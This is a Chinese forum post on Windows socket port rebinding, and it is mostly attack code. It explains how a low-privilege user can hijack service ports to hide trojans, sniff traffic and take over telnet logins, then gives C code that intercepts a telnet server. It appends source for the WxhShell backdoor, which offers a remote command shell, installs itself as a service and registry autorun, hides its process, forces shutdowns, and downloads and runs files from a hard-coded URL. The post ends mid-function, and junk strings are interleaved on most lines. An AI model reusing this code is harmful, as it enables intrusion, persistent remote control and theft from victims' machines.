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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _eMY ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b "5WsJ:'#  
`Qo}4nuRs  
  saddr.sin_family = AF_INET; 4AuJ1Z  
<k-hRs2d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $|}PL[aA#  
>A1;!kGE#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @8V~&yqq  
gR8vF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L@8C t  
=s1Pf__<k  
  这意味着什么?意味着可以进行如下的攻击: #[NNb?`F  
JiCy77H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `i3fC&?C  
!!UQ,yU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x|<89o L  
@3I/57u<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \k*h& :$  
lcEin*Oc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y,s@FGI2  
f 7j9'k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2?\L#=<F  
"SN+ ^`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V tJyE}  
i{6wns?KMj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D^\2a;[AxA  
2V=bE-  
  #include "3:TrM$|A  
  #include ]$?\,`  
  #include f)!7/+9>  
  #include    FK.Qj P:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P};GcV-  
  int main() uM('R;<^  
  { ?FwjbG<  
  WORD wVersionRequested; {AMoE +U  
  DWORD ret; M]M(E) *5  
  WSADATA wsaData; wT-@v,$  
  BOOL val; @2)ImgK[  
  SOCKADDR_IN saddr; ^Ts8nOGMh  
  SOCKADDR_IN scaddr; RT+_e  
  int err; 9U~sRj=D  
  SOCKET s; txXt<]N  
  SOCKET sc; 4+15`  
  int caddsize; { aq}Q|?/  
  HANDLE mt; g\foBK:GE  
  DWORD tid;   k;?E,!{  
  wVersionRequested = MAKEWORD( 2, 2 ); :pPn)j$  
  err = WSAStartup( wVersionRequested, &wsaData ); ~TfQuIvQB  
  if ( err != 0 ) { X3, +aL`  
  printf("error!WSAStartup failed!\n"); Ld3!2g2y7&  
  return -1; sn?YD'>k  
  } HrS  
  saddr.sin_family = AF_INET; 6$6Qk !%  
   \Yd 0oe82  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p) ea1j>N  
TkSeDP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ba /^CS  
  saddr.sin_port = htons(23); JLH,:2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YN 31Lo  
  { It3.  
  printf("error!socket failed!\n"); mY !LGN  
  return -1; <<.%Gk  
  } 7__?1n~{  
  val = TRUE; (GI]Uyn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y+'522er  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gtV*`g  
  { zCdzxb_h"  
  printf("error!setsockopt failed!\n"); >gLLr1L\  
  return -1; f6zS_y9gn  
  } Ig M_l=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F(#~.i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AV*eGzz`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m5rJY/  
J{bNx8.&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Bgq]6G2  
  {  _F9O4Q4  
  ret=GetLastError(); *QT|J6ng  
  printf("error!bind failed!\n"); JOm6Zc  
  return -1; Ar VNynQ  
  } 8  }(ul  
  listen(s,2); s/J/kKj*s  
  while(1) dT*8I0\+  
  { h1 (MvEt  
  caddsize = sizeof(scaddr); #-Ad0/  
  //接受连接请求 [Y=X^"PF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,,KGcDBj  
  if(sc!=INVALID_SOCKET) <UMT:`h1MZ  
  { 37QXML  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <m3or  
  if(mt==NULL)  ~ok i s  
  { KGoHn6jM  
  printf("Thread Creat Failed!\n"); auS.q5 %  
  break; 4]/i0\Vbam  
  } n%YG)5;  
  } +|=5zWI /  
  CloseHandle(mt); XTOZ]H*^  
  } x3++JG  
  closesocket(s); bR;Zc  
  WSACleanup(); C5^eD^[c  
  return 0; gYy9N=f+  
  }   M?fRiOj  
  DWORD WINAPI ClientThread(LPVOID lpParam) &`J?`l X  
  { 1KtPq,  
  SOCKET ss = (SOCKET)lpParam; (ATCP#lF  
  SOCKET sc; U DC>iHt  
  unsigned char buf[4096]; mC}!;`$8p  
  SOCKADDR_IN saddr; s"solPw  
  long num; )QvuoaJQ  
  DWORD val; G]- wN7G  
  DWORD ret; w>W`8P_b@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f; "6I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4fCg{  
  saddr.sin_family = AF_INET; -=A W. Z o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;dh8|ujh  
  saddr.sin_port = htons(23); \O7Vo<B&D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "<J%@  
  { 0u"/7OU  
  printf("error!socket failed!\n"); VI (;8  
  return -1; ]O;Hlty(g  
  } 8{GRrwQ>  
  val = 100; ?9 8]\pI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N3`W%ws`~  
  { gxku3<S  
  ret = GetLastError(); %$l^C!qcY  
  return -1; E(&GZ QE  
  } *I(g~p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (cj3[qq  
  { (3=(g  
  ret = GetLastError(); iWN-X (  
  return -1; .u_k?.8|  
  } XFg.Z+ #  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0kD8wj%  
  { Yv`8{_8L  
  printf("error!socket connect failed!\n"); $qx&\@O  
  closesocket(sc); Sl{nS1q  
  closesocket(ss); -*K!JC-  
  return -1; `>q|_w \e  
  } B~u_zZE  
  while(1) DJ9;{,gm  
  { N+vU@)_lC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0KF)+`CC>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,ZYj8^gF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #89h}mp'  
  num = recv(ss,buf,4096,0); '1}rQqZ  
  if(num>0) A!kNqJ2  
  send(sc,buf,num,0); YORFq9a{R  
  else if(num==0) Rro{A+[,X  
  break; yt&eY6Xp  
  num = recv(sc,buf,4096,0); wnE c   
  if(num>0) $<UX/a\sH  
  send(ss,buf,num,0); 0)8QOTeT  
  else if(num==0) ItTIU  
  break; J L9d&7-  
  } J9LS6~ 7  
  closesocket(ss); I@=h|GM  
  closesocket(sc); X'&$wQ6,K  
  return 0 ; ,qRSB>5c  
  } 3"gifE  
RTSR-<{z  
{}3kla{  
========================================================== /)i)wxi  
3_atv'I  
下边附上一个代码,,WXhSHELL ?CS jn  
xrT_ro8  
========================================================== j}R4m h  
JXlFo3<  
#include "stdafx.h" v`hv5wQ  
c4LBlLv4  
#include <stdio.h> e^@/ Bm+B  
#include <string.h> H&L=WF+x  
#include <windows.h> UZdE ^Q[  
#include <winsock2.h> 9xg_M=72  
#include <winsvc.h> SPV'0* Z  
#include <urlmon.h> r2T?LO0N{  
LoG@(g&)  
#pragma comment (lib, "Ws2_32.lib") Yi[dS`,d  
#pragma comment (lib, "urlmon.lib") 33kI#45s  
%6 <Pt  
#define MAX_USER   100 // 最大客户端连接数 O#7ldF(  
#define BUF_SOCK   200 // sock buffer 2t { Cpw  
#define KEY_BUFF   255 // 输入 buffer s8|#sHT  
UBRMV s  
#define REBOOT     0   // 重启 e>t9\vN#bx  
#define SHUTDOWN   1   // 关机 N,ik&NIWy  
'w%N(Ntq  
#define DEF_PORT   5000 // 监听端口 JMOP/]%D  
7/vr!tbL`p  
#define REG_LEN     16   // 注册表键长度 ?E2k]y6<  
#define SVC_LEN     80   // NT服务名长度 P:k(=CzZ@J  
w c%  
// 从dll定义API ](0 Vm_es  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x#0C+cU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FbM5Bqv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SEchF"KJQF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bT-G<h*M  
(?\ZN+V)  
// wxhshell配置信息 4Sg!NPuu7&  
struct WSCFG { cM4?G gn  
  int ws_port;         // 监听端口 \|>eG u  
  char ws_passstr[REG_LEN]; // 口令 "tIf$z  
  int ws_autoins;       // 安装标记, 1=yes 0=no /^[)JbgB  
  char ws_regname[REG_LEN]; // 注册表键名 H>XbqIkL@  
  char ws_svcname[REG_LEN]; // 服务名 %Z{J=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~v>w%]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e( ^9fg_SG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `^J~^Z7Y-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W? UCo6<m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vd<= y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [bPE?_a,  
J-PzIFWd  
}; <vt^=QA'  
<Awx:lw.  
// default Wxhshell configuration 0K3FH&.%  
struct WSCFG wscfg={DEF_PORT, ($(1KE  
    "xuhuanlingzhe", *vAOUqX`x  
    1, e3>Re![_.  
    "Wxhshell", -N\{QX1Yd  
    "Wxhshell", K[sM)_I  
            "WxhShell Service", )Elr8XLw  
    "Wrsky Windows CmdShell Service", 9jPb-I-   
    "Please Input Your Password: ", 2Bjp{)*  
  1, {t/!a0\HS  
  "http://www.wrsky.com/wxhshell.exe", u F*cS&'Z  
  "Wxhshell.exe" ex!^&7Q(  
    }; 4}LF>_+=  
z~ u@N9M  
// 消息定义模块 !RcAJs'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T (2,iG8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y]jh*KD[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mz++SPG7  
char *msg_ws_ext="\n\rExit."; ^Js9E  
char *msg_ws_end="\n\rQuit."; 3Xh&l[.  
char *msg_ws_boot="\n\rReboot..."; 8&C(0H]1  
char *msg_ws_poff="\n\rShutdown..."; Jj6kZK  
char *msg_ws_down="\n\rSave to "; tiE+x|Ju"  
$m=z87hX  
char *msg_ws_err="\n\rErr!"; VvF&E>f C  
char *msg_ws_ok="\n\rOK!"; :ZP3$Dp  
*Ra")(RnDK  
char ExeFile[MAX_PATH]; n&C9f9S  
int nUser = 0; zRJy3/>  
HANDLE handles[MAX_USER]; k(qQvn  
int OsIsNt; Wq9s[)F"Z  
?^ErrlI_  
SERVICE_STATUS       serviceStatus; Ro1' L1:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ^,KR0  
Fo G<$9  
// 函数声明 xY'g7<})$  
int Install(void); &\X;t|  
int Uninstall(void); {H+?DMh  
int DownloadFile(char *sURL, SOCKET wsh); BkZ%0rw%  
int Boot(int flag); CXQ ?P  
void HideProc(void); 8S02 3  
int GetOsVer(void); AX,Db%`l,  
int Wxhshell(SOCKET wsl); tJu<#h X  
void TalkWithClient(void *cs); sMS`-,37u  
int CmdShell(SOCKET sock); "G,*Z0V5  
int StartFromService(void); |wb7`6g  
int StartWxhshell(LPSTR lpCmdLine); | fI%L9  
7.Mh$?;i9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?0(B;[xEJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O^xt  
*tO<wp&  
// 数据结构和表定义 B)Q'a3d#  
SERVICE_TABLE_ENTRY DispatchTable[] = Q]7Q  
{ 2DC#PX)i  
{wscfg.ws_svcname, NTServiceMain}, `P5"5N\h  
{NULL, NULL} .~U9*5d  
}; LuqaGy}>-  
IB6]Wj  
// 自我安装 ;?o C=c  
int Install(void) sR 9F:  
{ Ii,:+o%  
  char svExeFile[MAX_PATH]; p_AV3   
  HKEY key; $K KaA{0-  
  strcpy(svExeFile,ExeFile); O+8`.  
VxFy[rP  
// 如果是win9x系统,修改注册表设为自启动 $ B9=v  
if(!OsIsNt) { Qm.kXlsDI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ww(_EW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `@e H4}L*  
  RegCloseKey(key); J7_H.RPa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f5a](&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xp~]kRm9  
  RegCloseKey(key); ;gMh]$|"  
  return 0; 7xc<vl#:q7  
    } Xdq, =;  
  } *YtNt5u  
} m%V[&"5%e  
else { :z\f.+MI  
CN=&Je%I  
// 如果是NT以上系统,安装为系统服务 }m H>lN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SHk[X ]Uo  
if (schSCManager!=0) RrHnDO'  
{ vOK;l0%  
  SC_HANDLE schService = CreateService X u_<4  
  ( Pp/{keEye  
  schSCManager, ! -c*lb  
  wscfg.ws_svcname, AVr!e   
  wscfg.ws_svcdisp, jVINc=o  
  SERVICE_ALL_ACCESS, rxK0<pWJhx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (OqJet2{+  
  SERVICE_AUTO_START, *jK))|%  
  SERVICE_ERROR_NORMAL, i-?zwVmn  
  svExeFile, @;6}xO2  
  NULL, y2R=%EFh6  
  NULL, re!8nuBsA  
  NULL, %-l:_A  
  NULL, PBL^xlg  
  NULL OD]J@m  
  ); "AouiZkh  
  if (schService!=0) $)3PF  
  { X6.O ;  
  CloseServiceHandle(schService); :xPvEK[B7  
  CloseServiceHandle(schSCManager); TyWy5J< :+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]uvbQ.l_t  
  strcat(svExeFile,wscfg.ws_svcname); r(i)9RI+(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4c=kT@=jX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (@ E#O$'  
  RegCloseKey(key); "Cc"y* P  
  return 0; S7a6ntei  
    } C):d9OI?  
  } y^=oYL  
  CloseServiceHandle(schSCManager); @WHd(ka!  
} 5S]P#8  
} `5-#M/J  
: xZC7"  
return 1; aELT"b,x  
} SSLs hY~d  
^qx\e$R  
// 自我卸载 a{*'pY(R0$  
int Uninstall(void) g&T Cff  
{ dCP Tpm  
  HKEY key;  s7 o*|Xv  
#`4^zU)  
if(!OsIsNt) { @izi2ND  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q) BoWd  
  RegDeleteValue(key,wscfg.ws_regname); j dhml%pAd  
  RegCloseKey(key); f*vk1dS:*3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mzB#O;3=  
  RegDeleteValue(key,wscfg.ws_regname); p qN[G=0  
  RegCloseKey(key); uS#Cb+*F  
  return 0; )[sO5X7'^  
  } {H; |G0tR  
} t!SQLgA  
} pMp9 O/u%  
else { 3Z:!o$  
[ |n-x3h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a<'$`z|s  
if (schSCManager!=0) -0SuREn  
{ $pfe2(8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4sBoD=e  
  if (schService!=0) 5?L:8kHsH  
  { j!MA]0lTM  
  if(DeleteService(schService)!=0) { e K1m(E.=  
  CloseServiceHandle(schService); pE/3-0;}N  
  CloseServiceHandle(schSCManager); MD4 j~q\ g  
  return 0; 1IQOl  
  } rg^\BUa-W,  
  CloseServiceHandle(schService); z %3"d0  
  } = )l:^+q  
  CloseServiceHandle(schSCManager); "!Oh#Vf  
} oHXW])[  
} UUf1T@-  
aE+$&_>ef  
return 1; pZ~> l=-  
} V 1nZ M  
$t# ,'M  
// 从指定url下载文件 XjZao<?u  
int DownloadFile(char *sURL, SOCKET wsh) BMWeD  
{ B"8JFf}"q  
  HRESULT hr; %[\x%m)  
char seps[]= "/"; Z*(! `,.bB  
char *token; J s<MJ4r>/  
char *file; fyq] M_5  
char myURL[MAX_PATH]; H.8CwsfP  
char myFILE[MAX_PATH]; e1^{  
Gx_`|I{P  
strcpy(myURL,sURL); x";.gjI |g  
  token=strtok(myURL,seps); R^M (fC  
  while(token!=NULL) \1`DaQp7  
  { n+\Cw`'<H  
    file=token; v#%>uLl  
  token=strtok(NULL,seps); H"GE\  
  } Sd$]b>b4O  
5f&{!N  
GetCurrentDirectory(MAX_PATH,myFILE); , HI%Xn  
strcat(myFILE, "\\"); ym*#ZE`B!  
strcat(myFILE, file); Y0X94k.u  
  send(wsh,myFILE,strlen(myFILE),0); W[X!P)=w]  
send(wsh,"...",3,0); 5?{ >9j5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _l!U[{l*d  
  if(hr==S_OK) B,vHn2W  
return 0; JNM@Q  
else 76_8e{zbr  
return 1; }RN=9J  
MZMS ?}.2  
} xK),:+G(  
S,Wl)\  
// 系统电源模块 oF b mz*  
int Boot(int flag) 1Q&WoJLfR  
{ t:"=]zUU  
  HANDLE hToken; {`Fx~w;i  
  TOKEN_PRIVILEGES tkp; G<u.+V  
*VC4s`<  
  if(OsIsNt) { Hu9-<upc&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  sx(l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z^!A/a[[!  
    tkp.PrivilegeCount = 1; fyg~KF}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &pMlt7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ??zABV  
if(flag==REBOOT) { )-9w3W1r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mam5 G!$  
  return 0; *Nf4bH%MN  
} 4&]To@>  
else { )>/j&>%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^tg6JB;s  
  return 0; !: EW21m  
} lQ<#jxp  
  } tU)r[2H2  
  else { }OP%p/eY  
if(flag==REBOOT) { WrHgF*[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i_9Cc$Qh<  
  return 0; 9B#)h)h(=  
} CdzkMVH  
else { +1+A3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =2g[tsY  
  return 0; # McK46B z  
} <^*+8{*  
} +6#%P  
%KJhtd"q  
return 1; @q{:Oc^  
} k{}[>))Q  
rtYb"-&  
// win9x进程隐藏模块 ~E3SC@KL  
void HideProc(void) C:s^s  
{ `hK>bHj  
=N*%f%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NDe[2  
  if ( hKernel != NULL ) <r7qq$  
  { ]U#[\ Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *fQ ?A|l!x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2{sD*8&`  
    FreeLibrary(hKernel); " g0-u(Y  
  } oA!5dpNhU  
~.4W,QLuD  
return; C>JekPeM  
} J:g<RZZ1  
Jv 6nlK`  
// 获取操作系统版本 =q"w2b&  
int GetOsVer(void) _#J_$CE#  
{ RWh9&O:6'  
  OSVERSIONINFO winfo; + 4V1>e+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ) 8x:x7?  
  GetVersionEx(&winfo); @pqY9_:P1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u5cVz_S  
  return 1; VVI8)h8  
  else /`4v"f0V  
  return 0; V 5e\%  
} vDK:v$g  
HsjELbH  
// 客户端句柄模块 B91S h`  
int Wxhshell(SOCKET wsl) Pp1zW3+Q  
{ 1EC-e|M.  
  SOCKET wsh; `uIx/.L  
  struct sockaddr_in client; t-*VsPy  
  DWORD myID; "4Lg8qm  
JAGi""3HG  
  while(nUser<MAX_USER) vi[#? ;pkF  
{ 1R'u v4e  
  int nSize=sizeof(client); 3:]{(@J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PZ  
  if(wsh==INVALID_SOCKET) return 1; )XmCy"xx  
cS"f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iXUWIgr  
if(handles[nUser]==0) ^f^-.X  
  closesocket(wsh); KAj"p9hq+k  
else _Hz~HoNU  
  nUser++; ]+}ZfHp  
  } ]~j_N^oZ1X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pr62:  
(*Gi~?-  
  return 0; 'h!h!  
} ULp)T`P  
9]]!8_0=r  
// 关闭 socket ;=5@h!@R  
void CloseIt(SOCKET wsh) Qa,NGP.  
{ itqQ)\W  
closesocket(wsh); 90  
nUser--; 1KeJd&e  
ExitThread(0); egZyng pB  
} V;>9&'Z3  
8 *4@-3Sx  
// 客户端请求句柄 _-4n ~(  
void TalkWithClient(void *cs) A|p@\3 P*A  
{ }Kv h`@CiJ  
Nd]0ta  
  SOCKET wsh=(SOCKET)cs; XAjd %Xv<  
  char pwd[SVC_LEN]; B,~f "  
  char cmd[KEY_BUFF]; jGO9n  
char chr[1]; )LkM,T  
int i,j; EpRXjz  
/~H[= Pf  
  while (nUser < MAX_USER) { /[\6oa  
<u6c2!I{  
if(wscfg.ws_passstr) { MZCL:#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G*kE~s9R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 07.nq;/R  
  //ZeroMemory(pwd,KEY_BUFF); 3c01uObTL  
      i=0; "-G&=(  
  while(i<SVC_LEN) { u/z,92mmS  
8ku? W  
  // 设置超时 d4jVdOq2  
  fd_set FdRead; 1U717u  
  struct timeval TimeOut; +90u!r^v  
  FD_ZERO(&FdRead); Ak xH  
  FD_SET(wsh,&FdRead); #=X)Jx~  
  TimeOut.tv_sec=8; 9uA, +  
  TimeOut.tv_usec=0; Y*5Z)h 1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7ZS>1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UJ7'JBT=k  
jK3giT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T$:>*  
  pwd=chr[0]; lr9=OlH  
  if(chr[0]==0xd || chr[0]==0xa) { ?wGiog<Q{  
  pwd=0; pp/#Am  
  break; 8# 6\+R  
  } ^36M0h|R  
  i++; VYL@RL'  
    } gsW=3m&`  
Z 6 tE{/  
  // 如果是非法用户,关闭 socket ?RZq =5Um&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k%{ l4  
} /6Y0q9  
Ya~ "R#Uy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * eA{[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [?;`x&y~y  
uK$=3[;U/!  
while(1) { +2- qlU  
x$~3$E  
  ZeroMemory(cmd,KEY_BUFF); U'rr?,RML  
A|2 <A !  
      // 自动支持客户端 telnet标准   Q}WL/X5  
  j=0; 9 TqoLX  
  while(j<KEY_BUFF) { ^Y$QR]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pI  &o?n  
  cmd[j]=chr[0]; Bk&-1>cY  
  if(chr[0]==0xa || chr[0]==0xd) { +T-@5 v[  
  cmd[j]=0; F;pTXt}?5  
  break; 3.(.*>  
  } \^Ep>Pq`]  
  j++; tJff+n>  
    } : aHcPc:  
U?^OD  
  // 下载文件 Kl2}o|b   
  if(strstr(cmd,"http://")) { Tj Mb>w9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DG3[^B  
  if(DownloadFile(cmd,wsh)) D`en%Lf!m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |pBMrN+is  
  else 5f8"j$Az  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Dd"41  
  } v5B" A"N  
  else { R|-6o)$  
Sc$gnUYD{  
    switch(cmd[0]) { nHnk#SAA u  
  xsYE=^uv  
  // 帮助 /CH(!\bQ  
  case '?': { h iAxh Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mU>&ql?e  
    break; AU/#b(mI  
  } itw{;j   
  // 安装 )^&,Dj   
  case 'i': { <]~ZPk[  
    if(Install()) Og=[4?Kpk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4e}{$s$Xx  
    else *vb^N0P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n|6?J_{<b>  
    break; 'm[6v}  
    } f?Z|>3.2  
  // 卸载 `N$!s7M  
  case 'r': { <3lUV7!  
    if(Uninstall()) l"kx r96  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c!mG1lwD.  
    else "@4ghot t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :VJV5f{  
    break; N ,+(>?yE  
    } * flWL  
  // 显示 wxhshell 所在路径 r?\|f:M3  
  case 'p': { )AJ=an||5  
    char svExeFile[MAX_PATH]; TiQ^}5~M  
    strcpy(svExeFile,"\n\r"); GYd]5`ri  
      strcat(svExeFile,ExeFile); EA6t36|TX  
        send(wsh,svExeFile,strlen(svExeFile),0); +GYS26  
    break; W+.{4 K  
    } inZi3@h)T  
  // 重启 8`*`nQhWa  
  case 'b': { \2j|=S6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wra byRjK  
    if(Boot(REBOOT)) ka#K [qI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t}VwVf<K  
    else { 6%E~p0)i%  
    closesocket(wsh); nx B32  
    ExitThread(0); k}HQq_Y(<  
    } Lbsr_*4t  
    break; a&C.=  
    } []"=]f{1};  
  // 关机 :&9TW]*g  
  case 'd': { U-eI\Lu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3?@?-q2g  
    if(Boot(SHUTDOWN)) 7lR<@$q  
